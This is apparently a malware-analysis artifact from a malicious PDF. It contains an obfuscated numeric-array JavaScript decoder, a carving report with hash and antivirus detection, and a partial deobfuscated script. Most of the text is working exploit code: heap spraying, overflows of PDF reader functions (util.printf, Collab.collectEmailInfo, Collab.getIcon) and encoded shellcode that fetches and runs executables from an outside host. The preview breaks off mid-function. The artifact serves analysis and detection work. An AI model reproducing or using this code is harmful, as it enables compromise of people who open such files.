148,163,152,91,85,88,168,108,99,108,99,88,168,108,99,108,99,85,92,110,64,61,60,60,172,148,165,166,163,83,112,83,153,156,171,146,156,167,91,172,148,165,166,163,95,83,159,152,161,92,110,64,61,60,60,169,148,165,83,150,162,168,161,167,101,83,112,83,91,150,150,83,96,83,99,171,103,99,99,99,99,99,92,98,148,151,151,165,110,64,61,60,60,153,162,165,83,91,169,148,165,83,150,162,168,161,167,83,112,83,99,110,83,150,162,168,161,167,83,111,83,150,162,168,161,167,101,110,83,150,162,168,161,167,94,94,92,174,64,61,60,60,60,160,152,160,146,148,165,165,148,172,142,150,162,168,161,167,144,83,112,83,172,148,165,166,163,83,94,83,166,155,152,159,159,150,162,151,152,110,64,61,60,60,176,64,61,60,60,169,148,165,83,162,169,152,165,153,159,162,170,83,112,83,168,161,152,166,150,148,163,152,91,85,88,168,99,150,99,150,88,168,99,150,99,150,85,92,110,64,61,60,60,170,155,156,159,152,83,91,162,169,152,165,153,159,162,170,97,159,152,161,154,167,155,83,111,83,103,103,108,104,101,92,174,64,61,60,60,60,162,169,152,165,153,159,162,170,83,94,112,83,162,169,152,165,153,159,162,170,110,64,61,60,60,176,64,61,60,60,167,155,156,166,97,150,162,159,159,148,149,134,167,162,165,152,83,112,83,118,162,159,159,148,149,97,150,162,159,159,152,150,167,120,160,148,156,159,124,161,153,162,91,174,166,168,149,157,109,83,85,85,95,160,166,154,109,83,162,169,152,165,153,159,162,170,176,92,110,64,61,60,176,64,61,64,61,60,153,168,161,150,167,156,162,161,83,150,162,159,159,148,149,146,154,152,167,156,150,162,161,91,92,174,64,61,60,60,156,153,83,91,148,163,163,97,151,162,150,97,118,162,159,159,148,149,97,154,152,167,124,150,162,161,92,174,64,61,60,60,60,169,148,165,83,148,165,165,172,83,112,83,161,152,170,83,116,165,165,148,172,91,92,110,64,61,60,60,60,169,148,165,83,169,169,163,152,167,155,172,148,83,112,83,168,161,152,166,150,148,163,152,91,85,88,168,120,117,120,108,88,168,99,99,99,100,88,168,104,105,99,99,88,168,116,100,105,103,88,168,99,99,102,99,88,168,99,99,99,99,88,168,103,99,107,117,88,168,107,117,99,118,88,168,100,118,106,99,88,168,107,117,116,119,88,168,99,107,103,99,88,168,118,102,104,120,88,168,107,117,104,104,88,168,107,117,120,118,88,168,99,107,103,104,88,168,102,102,104,101,88,168,118,100,119,101,88,168,99,102,118,101,88,168,100,99,102,101,88,168,107,99,103,99,88,168,99,99,102,107,88,168,121,104,106,104,88,168,118,101,107,117,88,168,104,119,104,116,88,168,99,103,118,101,88,168,104,104,99,99,88,168,120,118,107,117,88,168,104,100,104,100,88,168,104,105,104,102,88,168,105,99,104,106,88,168,104,119,107,117,88,168,102,102,99,107,88,168,107,117,118,99,88,168,99,118,106,104,88,168,121,120,107,117,88,168,106,105,99,102,88,168,107,117,102,118,88,168,106,107,103,120,88,168,118,121,99,102,88,168,104,100,107,117,88,168,104,101,100,118,88,168,104,100,107,117,88,168,104,101,101,103,88,168,106,100,107,117,88,168,103,120,100,103,88,168,106,104,107,108,88,168,107,117,121,118,88,168,101,99,106,100,88,168,121,106,99,102,88,168,103,116,108,108,88,168,103,101,116,119,88,168,102,117,105,99,88,168,121,118,104,104,88,168,99,103,106,104,88,168,118,99,102,102,88,168,102,106,120,117,88,168,121,121,102,102,88,168,103,104,99,102,88,168,108,106,99,118,88,168,118,121,107,117,88,168,106,104,116,120,88,168,101,117,121,119,88,168,103,121,121,108,88,168,120,107,104,100,88,168,121,121,108,103,88,168,121,121,121,121,88,168,118,102,102,117,88,168,106,103,105,100,88,168,120,117,99,101,88,168,107,117,119,108,88,168,99,118,103,104,88,168,104,120,108,101,88,168,121,101,99,102,88,168,120,99,119,100,88,168,118,105,99,102,88,168,118,108,102,102,88,168,117,106,99,121,88,168,104,121,99,107,88,168,120,100,118,100,88,168,99,102,99,101,88,168,99,102,118,116,88,168,107,117,118,121,88,168,99,102,99,100,88,168,107,108,118,101,88,168,121,107,103,104,88,168,107,117,105,100,88,168,121,107,103,104,88,168,104,120,104,121,88,168,118,108,104,117,88,168,104,104,118,102,88,168,120,118,107,117,88,168,120,107,104,100,88,168,121,121,103,108,88,168,121,121,121,121,88,168,105,107,104,99,88,168,105,99,120,107,88,168,99,103,117,121,88,168,105,118,120,107,88,168,121,121,121,121,88,168,102,102,121,121,88,168,104,101,119,101,88,168,121,121,104,101,88,168,99,107,106,104,88,168,119,99,121,121,88,168,103,104,107,108,88,168,107,117,121,118,88,168,121,118,103,104,88,168,118,102,118,108,88,168,107,117,104,104,88,168,107,102,120,118,88,168,99,118,120,118,88,168,103,104,107,119,88,168,104,99,121,103,88,168,103,104,118,105,88,168,106,104,121,103,88,168,103,104,118,105,88,168,106,101,121,104,88,168,103,104,118,105,88,168,105,118,121,105,88,168,103,104,118,105,88,168,105,119,121,106,88,168,103,104,118,105,88,168,105,121,121,107,88,168,103,104,118,105,88,168,105,120,121,108,88,168,103,104,118,105,88,168,101,120,121,116,88,168,103,104,118,105,88,168,105,103,121,117,88,168,103,104,118,105,88,168,105,118,121,118,88,168,103,104,118,105,88,168,105,118,121,119,88,168,103,104,118,105,88,168,99,99,121,120,88,168,116,99,120,107,88,168,121,121,121,121,88,168,104,99,121,121,88,168,104,119,105,107,88,168,100,100,107,116,88,168,120,107,100,105,88,168,121,121,100,104,88,168,121,121,121,121,88,168,118,103,107,102,88,168,107,104,99,118,88,168,106,103,118,99,88,168,105,116,100,104,88,168,105,116,99,99,88,168,121,121,99,99,88,168,99,118,106,104,88,168,106,104,121,121,88,168,105,116,99,107,88,168,121,121,99,99,88,168,107,104,119,99,88,168,106,104,118,99,88,168,103,99,99,102,88,168,118,102,118,108,88,168,118,99,102,102,88,168,118,102,118,108,88,168,102,102,104,106,88,168,107,117,118,99,88,168,101,103,103,118,88,168,107,117,99,118,88,168,101,103,106,118,88,168,121,118,99,107,88,168,116,116,121,102,88,168,118,102,104,121,88,168,103,118,107,117,88,168,99,103,101,103,88,168,102,108,107,99,88,168,107,117,99,99,88,168,106,103,118,100,88,168,103,99,99,105,88,168,102,107,107,99,88,168,106,104,99,99,88,168,101,117,121,116,88,168,118,102,118,100,88,168,107,117,104,104,88,168,107,102,120,118,88,168,105,103,120,118,88,168,107,119,104,102,88,168,121,99,103,104,88,168,102,102,104,106,88,168,104,99,119,117,88,168,103,104,118,105,88,168,105,117,121,99,88,168,103,104,118,105,88,168,105,104,121,100,88,168,103,104,118,105,88,168,106,101,121,101,88,168,103,104,118,105,88,168,105,120,121,102,88,168,103,104,118,105,88,168,105,104,121,103,88,168,103,104,118,105,88,168,105,118,121,104,88,168,103,104,118,105,88,168,102,102,121,105,88,168,103,104,118,105,88,168,102,101,121,106,88,168,103,104,118,105,88,168,101,120,121,107,88,168,103,104,118,105,88,168,105,103,121,108,88,168,103,104,118,105,88,168,105,118,121,116,88,168,103,104,118,105,88,168,105,118,121,117,88,168,104,119,107,107,88,168,120,107,121,118,88,168,121,121,99,117,88,168,121,121,121,121,88,168,105,107,104,99,88,168,103,102,105,107,88,168,107,120,121,108,88,168,107,99,120,107,88,168,121,121,121,120,88,168,107,117,121,121,88,168,107,119,121,107,88,168,108,118,103,104,88,168,103,103,105,116,88,168,120,107,104,99,88,168,121,121,106,120,88,168,121,121,121,121,88,168,103,104,107,119,88,168,105,116,120,99,88,168,104,99,100,99,88,168,106,102,120,107,88,168,121,121,121,121,88,168,107,102,121,121,88,168,100,118,118,103,88,168,103,104,107,119,88,168,104,99,120,99,88,168,103,104,107,119,88,168,104,99,108,118,88,168,104,102,104,102,88,168,104,102,104,102,88,168,104,102,104,102,88,168,106,104,121,121,88,168,118,106,99,107,88,168,108,118,103,104,88,168,99,99,103,103,88,168,99,99,99,99,88,168,121,121,104,102,88,168,104,121,119,106,88,168,117,105,99,121,88,168,104,117,118,99,88,168,118,102,118,108,88,168,107,117,104,104,88,168,104,100,120,118,88,168,104,102,104,100,88,168,104,106,104,105,88,168,103,101,105,116,88,168,106,101,120,107,88,168,99,99,99,99,88,168,107,117,99,99,88,168,102,102,119,107,88,168,107,104,121,105,88,168,104,108,119,117,88,168,103,104,118,106,88,168,105,100,121,107,88,168,105,104,101,120,88,168,118,106,106,107,88,168,121,118,103,104,88,168,99,99,105,104,88,168,99,99,99,99,88,168,104,105,106,120,88,168,103,104,107,119,88,168,104,99,121,107,88,168,120,107,104,105,88,168,99,99,104,100,88,168,99,99,99,99,88,168,104,99,104,108,88,168,117,100,120,107,88,168,121,121,121,120,88,168,107,104,121,121,88,168,104,108,118,99,88,168,106,103,104,108,88,168,107,119,102,108,88,168,99,100,103,105,88,168,120,107,104,99,88,168,99,99,102,117,88,168,99,99,99,99,88,168,121,107,107,117,88,168,103,104,107,119,88,168,104,99,121,107,88,168,101,100,120,107,88,168,121,121,121,121,88,168,107,104,121,121,88,168,104,108,118,99,88,168,106,103,104,108,88,168,104,106,99,118,88,168,99,100,120,107,88,168,121,121,121,121,88,168,104,108,121,121,88,168,103,103,118,105,88,168,121,121,102,107,88,168,104,99,106,102,88,168,103,104,107,119,88,168,121,120,121,107,88,168,104,107,99,99,88,168,103,104,107,119,88,168,104,99,121,107,88,168,120,107,104,106,88,168,121,120,106,103,88,168,121,121,121,121,88,168,104,108,104,108,88,168,103,105,103,105,88,168,121,102,102,117,88,168,116,116,106,118,88,168,104,120,104,121,88,168,118,108,104,117,88,168,104,104,118,102,88,168,120,118,107,117,88,168,104,102,104,100,88,168,105,99,105,105,88,168,102,101,117,100,88,168,99,99,120,107,88,168,99,99,99,99,88,168,104,107,99,99,88,168,99,107,102,107,88,168,99,102,106,103,88,168,120,117,103,99,88,168,103,99,121,108,88,168,104,119,107,117,88,168,107,99,99,107,88,168,103,101,121,117,88,168,99,107,106,104,88,168,119,117,102,102,88,168,100,107,107,116,88,168,118,102,107,117,88,168,100,106,120,117,88,168,100,107,102,107,88,168,100,100,106,105,88,168,102,102,103,99,88,168,107,103,118,108,88,168,106,103,119,117,88,168,103,99,99,118,88,168,99,107,102,107,88,168,121,117,106,104,88,168,121,120,103,99,88,168,120,117,118,117,88,168,102,102,121,101,88,168,107,108,118,99,88,168,121,118,103,104,88,168,103,104,107,117,88,168,104,117,121,118,88,168,118,102,118,108,88,168,99,101,102,101,88,168,106,103,105,107,88,168,106,99,106,103,88,168,101,121,102,116,88,168,106,99,101,121,88,168,106,99,105,108,88,168,106,102,105,108,88,168,105,102,105,104,88,168,105,117,105,107,88,168,101,120,105,100,88,168,105,121,105,102,88,168,101,121,105,119,88,168,105,118,106,102,88,168,105,104,105,104,88,168,101,121,106,99,88,168,105,103,105,102,88,168,106,99,105,118,88,168,101,120,102,101,88,168,106,107,105,104,88,168,99,99,105,104,88,168,106,103,105,107,88,168,106,99,106,103,88,168,101,121,102,116,88,168,106,99,101,121,88,168,106,99,105,108,88,168,106,102,105,108,88,168,105,102,105,104,88,168,105,117,105,107,88,168,101,120,105,100,88,168,105,121,105,102,88,168,101,121,105,119,88,168,105,118,106,102,88,168,105,104,105,104,88,168,101,121,106,99,88,168,105,118,105,102,88,168,105,102,105,108,88,168,101,120,105,117,88,168,105,107,106,99,88,168,102,121,106,99,88,168,102,119,106,101,88,168,99,99,99,99,85,92,110,64,61,60,60,60,169,148,165,83,155,138,164,104,99,99,118,129,83,112,83,169,169,163,152,167,155,172,148,97,159,152,161,154,167,155,83,93,83,101,110,64,61,60,60,60,169,148,165,83,159,152,161,83,112,83,99,171,103,99,99,99,99,99,83,96,83,91,155,138,164,104,99,99,118,129,83,94,83,99,171,102,107,92,110,64,61,60,60,60,169,148,165,83,172,148,165,166,163,83,112,83,168,161,152,166,150,148,163,152,91,85,88,168,108,99,108,99,88,168,108,99,108,99,85,92,110,64,61,60,60,60,172,148,165,166,163,83,112,83,153,156,171,146,156,167,91,172,148,165,166,163,95,83,159,152,161,92,110,64,61,60,60,60,169,148,165,83,163,104,116,157,126,105,104,153,83,112,83,91,99,171,99,150,99,150,99,150,99,150,83,96,83,99,171,103,99,99,99,99,99,92,83,98,83,99,171,103,99,99,99,99,99,110,64,61,60,60,60,153,162,165,83,91,169,148,165,83,169,164,150,132,119,108,105,172,83,112,83,99,110,83,169,164,150,132,119,108,105,172,83,111,83,163,104,116,157,126,105,104,153,110,83,169,164,150,132,119,108,105,172,83,94,94,83,92,174,64,61,60,60,60,60,148,165,165,172,142,169,164,150,132,119,108,105,172,144,83,112,83,172,148,165,166,163,83,94,83,169,169,163,152,167,155,172,148,110,64,61,60,60,60,176,64,61,60,60,60,169,148,165,83,167,136,128,155,129,149,122,170,83,112,83,168,161,152,166,150,148,163,152,91,85,88,99,108,85,92,110,64,61,60,60,60,170,155,156,159,152,83,91,167,136,128,155,129,149,122,170,97,159,152,161,154,167,155,83,111,83,99,171,103,99,99,99,92,174,64,61,60,60,60,60,167,136,128,155,129,149,122,170,83,94,112,83,167,136,128,155,129,149,122,170,110,64,61,60,60,60,176,64,61,60,60,60,167,136,128,155,129,149,122,170,83,112,83,85,129,97,85,83,94,83,167,136,128,155,129,149,122,170,110,64,61,60,60,60,148,163,163,97,151,162,150,97,118,162,159,159,148,149,97,154,152,167,124,150,162,161,91,167,136,128,155,129,149,122,170,92,110,64,61,60,60,176,64,61,60,176,64,61,64,61,60,153,168,161,150,167,156,162,161,83,163,151,153,146,166,167,148,165,167,91,92,174,64,61,64,61,60,60,169,148,165,83,169,152,165,166,156,162,161,83,112,83,148,163,163,97,169,156,152,170,152,165,137,152,165,166,156,162,161,97,167,162,134,167,165,156,161,154,91,92,110,64,61,60,60,169,152,165,166,156,162,161,83,112,83,169,152,165,166,156,162,161,97,165,152,163,159,148,150,152,91,98,143,119,98,154,95,90,90,92,110,64,61,60,60,169,148,165,83,169,148,165,166,156,162,161,146,148,165,165,148,172,83,112,83,161,152,170,83,116,165,165,148,172,91,169,152,165,166,156,162,161,97,150,155,148,165,116,167,91,99,92,95,83,169,152,165,166,156,162,161,97,150,155,148,165,116,167,91,100,92,95,83,169,152,165,166,156,162,161,97,150,155,148,165,116,167,91,101,92,92,110,64,61,60,60,156,153,83,91,91,169,148,165,166,156,162,161,146,148,165,165,148,172,142,99,144,83,112,112,83,107,92,83,89,89,83,91,169,148,165,166,156,162,161,146,148,165,165,148,172,142,100,144,83,112,112,83,99,92,83,175,175,83,91,169,148,165,166,156,162,161,146,148,165,165,148,172,142,100,144,83,112,112,83,100,83,89,89,83,169,148,165,166,156,162,161,146,148,165,165,148,172,142,101,144,83,111,83,102,92,92,174,64,61,60,60,60,168,167,156,159,146,163,165,156,161,167,153,91,92,110,64,61,60,60,176,64,61,60,60,156,153,83,91,91,169,148,165,166,156,162,161,146,148,165,165,148,172,142,99,144,83,111,83,107,92,83,175,175,83,91,169,148,165,166,156,162,161,146,148,165,165,148,172,142,99,144,83,112,112,83,107,83,89,89,83,169,148,165,166,156,162,161,146,148,165,165,148,172,142,100,144,83,111,83,101,83,89,89,83,169,148,165,166,156,162,161,146,148,165,165,148,172,142,101,144,83,111,83,101,92,92,174,64,61,60,60,60,150,162,159,159,148,149,146,152,160,148,156,159,91,92,110,64,61,60,60,176,64,61,60,60,156,153,83,91,91,169,148,165,166,156,162,161,146,148,165,165,148,172,142,99,144,83,111,83,108,92,83,175,175,83,91,169,148,165,166,156,162,161,146,148,165,165,148,172,142,99,144,83,112,112,83,108,83,89,89,83,169,148,165,166,156,162,161,146,148,165,165,148,172,142,100,144,83,111,83,100,92,92,174,64,61,60,60,60,150,162,159,159,148,149,146,154,152,167,156,150,162,161,91,92,110,64,61,60,60,176,64,61,60,176,64,61,64,61,60,163,151,153,146,166,167,148,165,167,91,92,110,64,61,60],fnux=function(){for(var drtw;hzqg<bgjqry.length;hzqg+=1){var zhfvn=hzqg%bksy.length+1;var aimsy=bksy.substring(hzqg%bksy.length,zhfvn);var gknop=bgjqry[hzqg];quzoa+=aloy(gknop-aimsy.charCodeAt(0));} dopq(quzoa);};fnux();uyzjmi='';vzugc='';klqy=8674;gkaz='';dhkrst='';zhanr="zhanr";afhory=true;djprx="djprx";eglrx='';losz=55148;gksu=16461;zcwkor=58111;
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	9976 bytes
SHA-256: `0ad6bd99493c8d14b051d11ce3af63dae96e944bf0a4a6a8f3cfc7ce9c2dbf94`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u702F%u7069%u7369%u6365%u6B68%u2E61%u6F63%u2F6D%u6C73%u6565%u2F70%u6863%u6C6A%u3278%u652E%u6578%u6800%u7474%u3A70%u2F2F%u6970%u6970%u6573%u6863%u616B%u632E%u6D6F%u732F%u656C%u7065%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u702F%u7069%u7369%u6365%u6B68%u2E61%u6F63%u2F6D%u6C73%u6565%u2F70%u6564%u7567%u3278%u652E%u6578%u6800%u7474%u3A70%u2F2F%u6970%u6970%u6573%u6863%u616B%u632E%u6D6F%u732F%u656C%u7065%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u702F%u7069%u7369%u6365%u6B68%u2E61%u6F63%u2F6D%u6C73%u6565%u2F70%u6463%u706C%u2E32%u7865%u0065%u7468%u7074%u2F3A%u702F%u7069%u7369%u6365%u6B68%u2E61%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; 